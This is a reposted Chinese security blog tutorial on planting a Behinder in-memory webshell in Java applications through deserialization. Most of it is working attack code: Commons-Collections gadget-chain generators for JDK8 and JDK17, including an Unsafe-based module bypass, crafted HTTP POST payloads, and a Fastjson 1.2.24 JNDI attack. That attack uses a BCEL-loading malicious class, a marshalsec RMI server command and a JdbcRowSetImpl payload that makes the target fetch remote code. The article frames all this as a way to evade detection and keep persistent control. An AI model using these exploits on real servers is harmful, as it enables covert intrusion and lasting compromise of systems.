【转载】如何通过反序列化进行打马

admin 2026-04-04 06:03:14 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细讲解了如何利用Java反序列化漏洞注入内存马(打马)。文章以一个SpringBoot应用为例,其Controller接收data参数并进行Base64解码后反序列化,攻击者可利用此过程执行恶意代码。文中使用commons-collections库的CC链作为利用链,通过反射修改TemplatesImpl对象的字节码,使其加载恶意类(如冰蝎马),最终生成恶意序列化数据。将该数据经Base64和URL编码后发送至目标接口,即可触发反序列化漏洞并成功注入内存马,实现持久化控制。 综合评分: 90 文章分类: WEB安全,渗透测试,红队,恶意软件,代码审计


cover_image

【转载】如何通过反序列化进行打马

隐雾安全

2026年3月28日 10:00 四川

好文推荐

文章作者:先知社区(大*门)

文章来源:https://xz.aliyun.com/news/17364

#

为什么要打马

现在很多反序列化的复现文章,都是以 弹计算器 为复现成功的证据

弹计算器本质上就是执行命令,也就是相当于拿到别人的shell了

但是站在攻击者的视角直接以命令执行的方式攻击是不会知道命令执行的结果,因为结果是在服务器上呈现的

所以很自然而然想到通过命令执行来进行反弹shell来进行攻击

但到今天的这种攻防环境下,反弹shell的流量特征肯定会被设备检测到,那为了规避检测就进行内存马的注入

当然直接注入cmd内存马,流量肯定也会被设备检测到,那么如果注入冰蝎马,使用冰蝎的加密流量就能规避

直接反序列化打马

靶场环境搭建

创建Maven项目后修改依赖,创建一个SpringBoot2的工程,这边先采用经典的JDK8,后面有针对JDK17的SpringBoot3教程

<properties>&nbsp; &nbsp;&nbsp;<maven.compiler.source>8</maven.compiler.source>&nbsp; &nbsp;&nbsp;<maven.compiler.target>8</maven.compiler.target>&nbsp; &nbsp;&nbsp;<!-- Spring Boot 版本 -->&nbsp; &nbsp;&nbsp;<spring-boot-dependencies.version>2.7.2</spring-boot-dependencies.version></properties>
<dependencies>&nbsp; &nbsp;&nbsp;<dependency>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<groupId>org.springframework.boot</groupId>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<artifactId>spring-boot-starter-web</artifactId>&nbsp; &nbsp;&nbsp;</dependency>&nbsp; &nbsp;&nbsp;<dependency>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<groupId>commons-collections</groupId>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<artifactId>commons-collections</artifactId>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<version>3.2.1</version>&nbsp; &nbsp;&nbsp;</dependency></dependencies>
<dependencyManagement>&nbsp; &nbsp;&nbsp;<dependencies>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<dependency>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<groupId>org.springframework.boot</groupId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<artifactId>spring-boot-dependencies</artifactId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<version>${spring-boot-dependencies.version}</version>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<type>pom</type>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<scope>import</scope>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</dependency>&nbsp; &nbsp;&nbsp;</dependencies></dependencyManagement>

创建SpringBoot启动类

package org.example;
import&nbsp;org.springframework.boot.SpringApplication;import&nbsp;org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplicationpublic&nbsp;class&nbsp;DemoApplication&nbsp;{
&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;SpringApplication.run(DemoApplication.class, args);&nbsp; &nbsp; }}

创建Controller路由处理类

可以很明显的看到,这边就是接收 data 参数的值,然后base64解码后进行反序列化

package&nbsp;org.example.controller;
import&nbsp;org.springframework.web.bind.annotation.PostMapping;import&nbsp;org.springframework.web.bind.annotation.RestController;
import&nbsp;java.io.ByteArrayInputStream;import&nbsp;java.io.ObjectInputStream;import&nbsp;java.util.Base64;
@RestControllerpublic&nbsp;class&nbsp;DemoController&nbsp;{&nbsp; &nbsp;&nbsp;@PostMapping("/Behinder")&nbsp; &nbsp;&nbsp;public&nbsp;String&nbsp;hello(String data)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] decodedBytes = Base64.getDecoder().decode(data);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;object&nbsp;=&nbsp;deserialize(decodedBytes);&nbsp; &nbsp; &nbsp; &nbsp; System.out.println(object);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;"冰蝎马测试";&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;private&nbsp;Object&nbsp;deserialize(byte[] bytes)&nbsp;throws&nbsp;Exception{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;(ByteArrayInputStream&nbsp;bais&nbsp;=&nbsp;new&nbsp;ByteArrayInputStream(bytes); &nbsp;&nbsp;// 别改&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ObjectInputStream&nbsp;ois&nbsp;=&nbsp;new&nbsp;ObjectInputStream(bais)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ois.readObject();&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}

准备序列化数据

为了演示成果,在依赖中加了CC链,这边就用CC链生成一下序列化数据

首先下载JMG工具,用来生成Tomcat的冰蝎马

https://github.com/pen4uin/java-memshell-generator/

因为我们用的SpringBoot技术栈,所以中间件为Tomcat

注意除了AbstractTranslet需要勾选上,其他的不选也行 ,至于为什么要勾上这个可以去看看CC链

然后运行如下代码,生成冰蝎马的CC链恶意数据,只需要改动Class的文件路径就行了

import&nbsp;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import&nbsp;com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import&nbsp;com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import&nbsp;org.apache.commons.collections.Transformer;import&nbsp;org.apache.commons.collections.functors.ChainedTransformer;import&nbsp;org.apache.commons.collections.functors.ConstantTransformer;import&nbsp;org.apache.commons.collections.functors.InstantiateTransformer;import&nbsp;org.apache.commons.collections.keyvalue.TiedMapEntry;import&nbsp;org.apache.commons.collections.map.LazyMap;
import&nbsp;javax.xml.transform.Templates;import&nbsp;java.io.*;import&nbsp;java.lang.reflect.Field;import&nbsp;java.nio.file.Files;import&nbsp;java.nio.file.Paths;import&nbsp;java.util.HashMap;import&nbsp;java.util.Map;
public&nbsp;class&nbsp;Main&nbsp;{&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;throws&nbsp;Exception{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;TemplatesImpl&nbsp;templates&nbsp;=&nbsp;new&nbsp;TemplatesImpl();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Class&nbsp;templatesClass&nbsp;=&nbsp;templates.getClass();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Field&nbsp;nameField&nbsp;=&nbsp;templatesClass.getDeclaredField("_name");&nbsp; &nbsp; &nbsp; &nbsp; nameField.setAccessible(true);&nbsp; &nbsp; &nbsp; &nbsp; nameField.set(templates,"Drunkbaby");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Field&nbsp;bytecodesField&nbsp;=&nbsp;templatesClass.getDeclaredField("_bytecodes");&nbsp; &nbsp; &nbsp; &nbsp; bytecodesField.setAccessible(true);// ----------------------------------------------- Here ----------------------------------------------- &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] evil = Files.readAllBytes(Paths.get("C://CSVUtil.class"));// ----------------------------------------------- Here -----------------------------------------------&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[][] codes = {evil};&nbsp; &nbsp; &nbsp; &nbsp; bytecodesField.set(templates,codes);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Field&nbsp;tfactoryField&nbsp;=&nbsp;templatesClass.getDeclaredField("_tfactory");&nbsp; &nbsp; &nbsp; &nbsp; tfactoryField.setAccessible(true);&nbsp; &nbsp; &nbsp; &nbsp; tfactoryField.set(templates,&nbsp;new&nbsp;TransformerFactoryImpl());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;InstantiateTransformer&nbsp;instantiateTransformer&nbsp;=&nbsp;new&nbsp;InstantiateTransformer(new&nbsp;Class[]{Templates.class},&nbsp;new&nbsp;Object[]{templates});&nbsp; &nbsp; &nbsp; &nbsp; Transformer[] transformers =&nbsp;new&nbsp;Transformer[]{new&nbsp;ConstantTransformer(TrAXFilter.class), instantiateTransformer};&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ChainedTransformer&nbsp;chainedTransformer&nbsp;=&nbsp;new&nbsp;ChainedTransformer(transformers);&nbsp; &nbsp; &nbsp; &nbsp; HashMap<Object, Object> hashMap =&nbsp;new&nbsp;HashMap<>();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Map&nbsp;lazyMap&nbsp;=&nbsp;LazyMap.decorate(hashMap,&nbsp;new&nbsp;ConstantTransformer("five"));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;TiedMapEntry&nbsp;tiedMapEntry&nbsp;=&nbsp;new&nbsp;TiedMapEntry(lazyMap,&nbsp;"key");&nbsp; &nbsp; &nbsp; &nbsp; HashMap<Object, Object> expMap =&nbsp;new&nbsp;HashMap<>();&nbsp; &nbsp; &nbsp; &nbsp; expMap.put(tiedMapEntry,&nbsp;"value");&nbsp; &nbsp; &nbsp; &nbsp; lazyMap.remove("key");&nbsp; &nbsp; &nbsp; &nbsp; Class<LazyMap> lazyMapClass = LazyMap.class;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Field&nbsp;factoryField&nbsp;=&nbsp;lazyMapClass.getDeclaredField("factory");&nbsp; &nbsp; &nbsp; &nbsp; factoryField.setAccessible(true);&nbsp; &nbsp; &nbsp; &nbsp; factoryField.set(lazyMap, chainedTransformer);&nbsp; &nbsp; &nbsp; &nbsp; serialize(expMap);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;serialize(Object obj)&nbsp;throws&nbsp;IOException {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ObjectOutputStream&nbsp;oos&nbsp;=&nbsp;new&nbsp;ObjectOutputStream(new&nbsp;FileOutputStream("ser.bin"));&nbsp; &nbsp; &nbsp; &nbsp; oos.writeObject(obj);&nbsp; &nbsp; }}

打马

刚刚运行的代码会生成一个bin文件,我们把它base64编码一下

然后把编码后的结果直接放到下面的数据包发过去就行了,记得base64编码后要进行URL编码,一定要做

POST&nbsp;/Behinder&nbsp;HTTP/1.1Host:&nbsp;127.0.0.1:8080sec-ch-ua-mobile:&nbsp;?0Sec-Fetch-Mode:&nbsp;navigateAccept-Language:&nbsp;zh-CN,zh;q=0.9User-Agent:&nbsp;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Sec-Fetch-Dest:&nbsp;documentSec-Fetch-User:&nbsp;?1sec-ch-ua:&nbsp;"Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"Accept-Encoding:&nbsp;gzip, deflate, br, zstdAccept:&nbsp;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site:&nbsp;noneUpgrade-Insecure-Requests:&nbsp;1sec-ch-ua-platform:&nbsp;"Windows"Content-Type:&nbsp;application/x-www-form-urlencoded
data=[这边]

测试

不用管服务器的报错,直接根据JMG的提示用冰蝎连接就行了

总结

这边其实就是一个CC链的反序列化,然后我们通过ClassLoader把冰蝎的逻辑导入内存中,形成内存马

JDK17问题解决

问题说明

以JDK17来复现上面的反序列化靶场会失败,因为JDK17需要保证有下面的这两种任意的情况才能够调用成功

调者所在模块和被调用者所在模块相同 或  调用者模块与Object类所在模块相同

那解决方式就是,我们就直接注入到目标的模块中就行了

解决流程

  • 首先用JDK17创建SpringBoot3应用

这个可以直接创建,我就不用Maven的形式创建了

  • 添加上CC链子
<dependency>&nbsp; &nbsp;&nbsp;<groupId>commons-collections</groupId>&nbsp; &nbsp;&nbsp;<artifactId>commons-collections</artifactId>&nbsp; &nbsp;&nbsp;<version>3.2.1</version></dependency>

然后增加一个Controller——controller.DemoController

import&nbsp;jakarta.servlet.http.HttpServletRequest;import&nbsp;org.springframework.web.bind.annotation.RequestMapping;import&nbsp;org.springframework.web.bind.annotation.RestController;
import&nbsp;java.io.ByteArrayInputStream;import&nbsp;java.io.ObjectInputStream;import&nbsp;java.util.Base64;
@RestControllerpublic&nbsp;class&nbsp;DemoController&nbsp;{&nbsp; &nbsp;&nbsp;@RequestMapping("/test")&nbsp; &nbsp;&nbsp;public&nbsp;void&nbsp;start(HttpServletRequest request)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String payload=request.getParameter("shellbyte");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] shell= Base64.getDecoder().decode(payload);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ByteArrayInputStream byteArrayInputStream=new&nbsp;ByteArrayInputStream(shell);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ObjectInputStream objectInputStream=new&nbsp;ObjectInputStream(byteArrayInputStream);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; objectInputStream.readObject();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; objectInputStream.close();&nbsp; &nbsp; &nbsp; &nbsp; }catch&nbsp;(Exception e){&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}

然后JMG生成冰蝎马,记得选择 jakarta 的监听器,高版本的包名全换了

如果有CC链,我们注入器的包名必须是

org.apache.commons.collections.functors 的子类

然后勾选上 ByPass JDK Module

在测试类中新建一个攻击类,进行生成恶意序列化数据,可以直接运行,会输出base64后的数据

import&nbsp;org.apache.commons.collections.Transformer;import&nbsp;org.apache.commons.collections.functors.ChainedTransformer;import&nbsp;org.apache.commons.collections.functors.ConstantTransformer;import&nbsp;org.apache.commons.collections.functors.InstantiateTransformer;import&nbsp;org.apache.commons.collections.functors.InvokerTransformer;import&nbsp;org.apache.commons.collections.keyvalue.TiedMapEntry;import&nbsp;org.apache.commons.collections.map.LazyMap;import&nbsp;sun.misc.Unsafe;
import&nbsp;java.io.ByteArrayOutputStream;import&nbsp;java.io.ObjectOutputStream;import&nbsp;java.lang.invoke.MethodHandles;import&nbsp;java.lang.reflect.Field;import&nbsp;java.net.URLEncoder;import&nbsp;java.util.Base64;import&nbsp;java.util.HashMap;import&nbsp;java.util.Map;
public&nbsp;class&nbsp;Main{&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;throws&nbsp;Exception{&nbsp; &nbsp; &nbsp; &nbsp; patchModule(Main.class);&nbsp; &nbsp; &nbsp; &nbsp; String shellinject="[JMG生成数据]"; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 只需要改这个就行了&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] data=Base64.getDecoder().decode(shellinject);

&nbsp; &nbsp; &nbsp; &nbsp; Transformer[] transformers =&nbsp;new&nbsp;Transformer[]{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;ConstantTransformer(MethodHandles.class),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;InvokerTransformer("getDeclaredMethod",&nbsp;new&nbsp;Class[]{String.class, Class[].class},&nbsp;new&nbsp;Object[]{"lookup",&nbsp;new&nbsp;Class[0]}),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;InvokerTransformer("invoke",&nbsp;new&nbsp;Class[]{Object.class, Object[].class},&nbsp;new&nbsp;Object[]{null,&nbsp;new&nbsp;Object[0]}),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;InvokerTransformer("defineClass",&nbsp;new&nbsp;Class[]{byte[].class},&nbsp;new&nbsp;Object[]{data}),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;InstantiateTransformer(new&nbsp;Class[0],&nbsp;new&nbsp;Object[0]),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;ConstantTransformer(1)&nbsp; &nbsp; &nbsp; &nbsp; };&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Transformer&nbsp;transformerChain&nbsp;=&nbsp;new&nbsp;ChainedTransformer(new&nbsp;Transformer[]{new&nbsp;ConstantTransformer(1)});
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Map&nbsp;innerMap&nbsp;=&nbsp;new&nbsp;HashMap();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Map&nbsp;outerMap&nbsp;=&nbsp;LazyMap.decorate(innerMap, transformerChain);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;TiedMapEntry&nbsp;tme&nbsp;=&nbsp;new&nbsp;TiedMapEntry(outerMap,&nbsp;"keykey");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Map&nbsp;expMap&nbsp;=&nbsp;new&nbsp;HashMap();&nbsp; &nbsp; &nbsp; &nbsp; expMap.put(tme,&nbsp;"valuevalue");&nbsp; &nbsp; &nbsp; &nbsp; innerMap.remove("keykey");
&nbsp; &nbsp; &nbsp; &nbsp; setFieldValue(transformerChain,"iTransformers",transformers);&nbsp; &nbsp; &nbsp; &nbsp; System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(serialize(expMap))));&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;private&nbsp;static&nbsp;void&nbsp;patchModule(Class classname){&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class UnsafeClass=Class.forName("sun.misc.Unsafe");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Field unsafeField=UnsafeClass.getDeclaredField("theUnsafe");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unsafeField.setAccessible(true);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Unsafe unsafe=(Unsafe) unsafeField.get(null);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Module ObjectModule=Object.class.getModule();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class currentClass=classname.getClass();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;long&nbsp;addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unsafe.getAndSetObject(currentClass,addr,ObjectModule);&nbsp; &nbsp; &nbsp; &nbsp; }catch&nbsp;(Exception e){&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;setFieldValue(Object obj, String fieldName, Object value)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Field&nbsp;field&nbsp;=&nbsp;obj.getClass().getDeclaredField(fieldName);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; field.setAccessible(true);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; field.set(obj, value);&nbsp; &nbsp; &nbsp; &nbsp; }catch&nbsp;(Exception e){&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;byte[] serialize(Object object) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ByteArrayOutputStream byteArrayOutputStream=new&nbsp;ByteArrayOutputStream();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ObjectOutputStream objectOutputStream=new&nbsp;ObjectOutputStream(byteArrayOutputStream);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; objectOutputStream.writeObject(object);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; objectOutputStream.close();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;byteArrayOutputStream.toByteArray();&nbsp; &nbsp; &nbsp; &nbsp; }catch&nbsp;(Exception e){&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;&nbsp; &nbsp; }}

然后发包,博客返回包是500,但是我们200也是正常的

POST&nbsp;/test&nbsp;HTTP/1.1Host:&nbsp;127.0.0.1:8080Sec-Fetch-User:&nbsp;?1Accept-Encoding:&nbsp;gzip, deflate, br, zstdsec-ch-ua:&nbsp;"Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"Accept:&nbsp;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua-platform:&nbsp;"Windows"Sec-Fetch-Mode:&nbsp;navigatesec-ch-ua-mobile:&nbsp;?0Upgrade-Insecure-Requests:&nbsp;1Accept-Language:&nbsp;zh-CN,zh;q=0.9Sec-Fetch-Site:&nbsp;noneSec-Fetch-Dest:&nbsp;documentUser-Agent:&nbsp;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36Content-Type:&nbsp;application/x-www-form-urlencoded
shellbyte=[结果]

然后冰蝎连接

Ldap打马

说明

LDAP相较于直接的反序列化,是需要反连的,最常见的两个漏洞就是FastJson和log4j2

我就使用了 1.2.24 这个版本的

因为后续都只需要修改Payload,而准备JNDI服务器等步骤都是差不多一样的

靶场环境搭建

  • 先按照原始配置搭建SpringBoot2

  • 导入新依赖

<dependency>&nbsp; &nbsp;&nbsp;<groupId>com.alibaba</groupId>&nbsp; &nbsp;&nbsp;<artifactId>fastjson</artifactId>&nbsp; &nbsp;&nbsp;<version>1.2.24</version></dependency>

修改SpringBoot启动项目

@SpringBootApplicationpublic&nbsp;class&nbsp;DemoApplication&nbsp;{&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;SpringApplication.run(DemoApplication.class, args);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;@Bean&nbsp; &nbsp;&nbsp;public&nbsp;HttpMessageConverters&nbsp;fastJsonHttpMessageConverters() {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;FastJsonHttpMessageConverter&nbsp;fastConverter =&nbsp;new&nbsp;FastJsonHttpMessageConverter();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;FastJsonConfig&nbsp;fastJsonConfig =&nbsp;new&nbsp;FastJsonConfig();&nbsp; &nbsp; &nbsp; &nbsp; fastJsonConfig.setSerializerFeatures(SerializerFeature.PrettyFormat);&nbsp; &nbsp; &nbsp; &nbsp; fastConverter.setFastJsonConfig(fastJsonConfig);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;new&nbsp;HttpMessageConverters((HttpMessageConverter<?>[])&nbsp;new&nbsp;HttpMessageConverter[]{fastConverter});&nbsp; &nbsp; }}

添加bean,作为反序列化的目标

public&nbsp;class&nbsp;User&nbsp;{&nbsp; &nbsp;&nbsp;@JSONField&nbsp; &nbsp;&nbsp;private&nbsp;String&nbsp;name;&nbsp; &nbsp;&nbsp;@JSONField&nbsp; &nbsp;&nbsp;private&nbsp;Integer&nbsp;age;
&nbsp; &nbsp;&nbsp;public&nbsp;String&nbsp;getName() {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;this.name;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;public&nbsp;void&nbsp;setName(String&nbsp;name) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.name&nbsp;= name;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;public&nbsp;Integer&nbsp;getAge() {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;this.age;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;public&nbsp;void&nbsp;setAge(Integer age) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.age&nbsp;= age;&nbsp; &nbsp; }}

修改 Controller

@Controllerpublic&nbsp;class&nbsp;DemoController&nbsp;{&nbsp; &nbsp;&nbsp;@RequestMapping(value = {"/"}, method = {RequestMethod.GET}, produces = {"application/json;charset=UTF-8"})&nbsp; &nbsp;&nbsp;@ResponseBody&nbsp; &nbsp;&nbsp;public&nbsp;Object&nbsp;getUser() {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;User&nbsp;user =&nbsp;new&nbsp;User();&nbsp; &nbsp; &nbsp; &nbsp; user.setName("Bob");&nbsp; &nbsp; &nbsp; &nbsp; user.setAge(25);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;user;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;@RequestMapping(value = {"/"}, method = {RequestMethod.POST}, produces = {"application/json;charset=UTF-8"})&nbsp; &nbsp;&nbsp;@ResponseBody&nbsp; &nbsp;&nbsp;public&nbsp;Object&nbsp;setUser(@RequestBody&nbsp;User user) {&nbsp; &nbsp; &nbsp; &nbsp; user.setAge(20);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;user;&nbsp; &nbsp; }}

抓包访问

一般来说,主要的问题就集中在 application/json 这个里面

POST&nbsp;/&nbsp;HTTP/1.1Host:&nbsp;127.0.0.1:8080Accept-Encoding:&nbsp;gzip, deflate, br, zstdAccept-Language:&nbsp;zh-CN,zh;q=0.9Upgrade-Insecure-Requests:&nbsp;1User-Agent:&nbsp;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Sec-Fetch-Mode:&nbsp;navigateSec-Fetch-Dest:&nbsp;documentAccept:&nbsp;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site:&nbsp;noneSec-Fetch-User:&nbsp;?1sec-ch-ua:&nbsp;"Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"sec-ch-ua-mobile:&nbsp;?0sec-ch-ua-platform:&nbsp;"Windows"Content-Type:&nbsp;application/json
{&nbsp; &nbsp;&nbsp;"name":"haha",&nbsp; &nbsp;&nbsp;"age":22}

攻击

模仿JMG生成的BCEL,写个Class出来进行注入

public&nbsp;class&nbsp;BehinderTest&nbsp;{&nbsp; &nbsp;&nbsp;static&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("[JMG生成的BCEL]").newInstance();&nbsp; &nbsp; &nbsp; &nbsp; }catch&nbsp;(Exception e){&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 不加这个生成不了Class文件&nbsp; &nbsp; &nbsp; &nbsp; System.out.println("123");&nbsp; &nbsp; }}

然后把这个BehinderTest这个类拿出来放到一个目录里面,然后Python开个HTTP服务

python&nbsp;-m http.server&nbsp;4444

然后上传工具 marshalsec-0.0.3-SNAPSHOT-all.jar 搭建LDAP服务器,目标访问服务器端口7777,然后服务器转发到4444,最后获取到刚刚编译的这个恶意类 BehinderTest

java&nbsp;-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer&nbsp;"http://127.0.0.1:4444/#BehinderTest"&nbsp;7777

最后浏览器进行发包

{&nbsp;&nbsp;"b":{&nbsp; &nbsp;&nbsp;"@type":"com.sun.rowset.JdbcRowSetImpl",&nbsp; &nbsp;&nbsp;"dataSourceName":"rmi://127.0.0.1:7777/BehinderTest",&nbsp; &nbsp;&nbsp;"autoCommit":true&nbsp;&nbsp;}}

冰蝎4连接成功

高版本问题解决

这里的高版本就是JDK8的高版本了,JDK8U191往后就不能再想上面这样进行注入了,需要通过本地来绕过

